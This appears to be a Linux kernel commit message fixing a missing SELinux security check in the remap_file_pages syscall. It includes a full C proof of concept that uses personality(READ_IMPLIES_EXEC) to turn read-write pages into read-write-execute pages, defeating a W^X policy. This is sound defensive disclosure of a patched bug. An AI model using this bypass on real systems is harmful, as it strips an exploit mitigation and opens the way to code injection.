commit ea7e2d5e49c05e5db1922387b09ca74aa40f46e2 upstream.
The remap_file_pages syscall handler calls do_mmap() directly, which
doesn't contain the LSM security check. And if the process has called
personality(READ_IMPLIES_EXEC) before and remap_file_pages() is called for
RW pages, this will actually result in remapping the pages to RWX,
bypassing a W^X policy enforced by SELinux.
So we should check prot by security_mmap_file LSM hook in the
remap_file_pages syscall handler before do_mmap() is called. Otherwise, it
potentially permits an attacker to bypass a W^X policy enforced by
SELinux.
The bypass is similar to CVE-2016-10044, which bypass the same thing via
AIO and can be found in [1].
The PoC:
$ cat > test.c
int main(void) {
size_t pagesz = sysconf(_SC_PAGE_SIZE);
int mfd = syscall(SYS_memfd_create, "test", 0);
const char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE,
MAP_SHARED, mfd, 0);
unsigned int old = syscall(SYS_personality, 0xffffffff);
syscall(SYS_personality, READ_IMPLIES_EXEC | old);
syscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0);
syscall(SYS_personality, old);
// show the RWX page exists even if W^X policy is enforced
int fd = open("/proc/self/maps", O_RDONLY);
unsigned char buf2[1024];
while (1) {
int ret = read(fd, buf2, 1024);
if (ret <= 0) break;
write(1, buf2, ret);
}
close(fd);
}
$ gcc test.c -o test
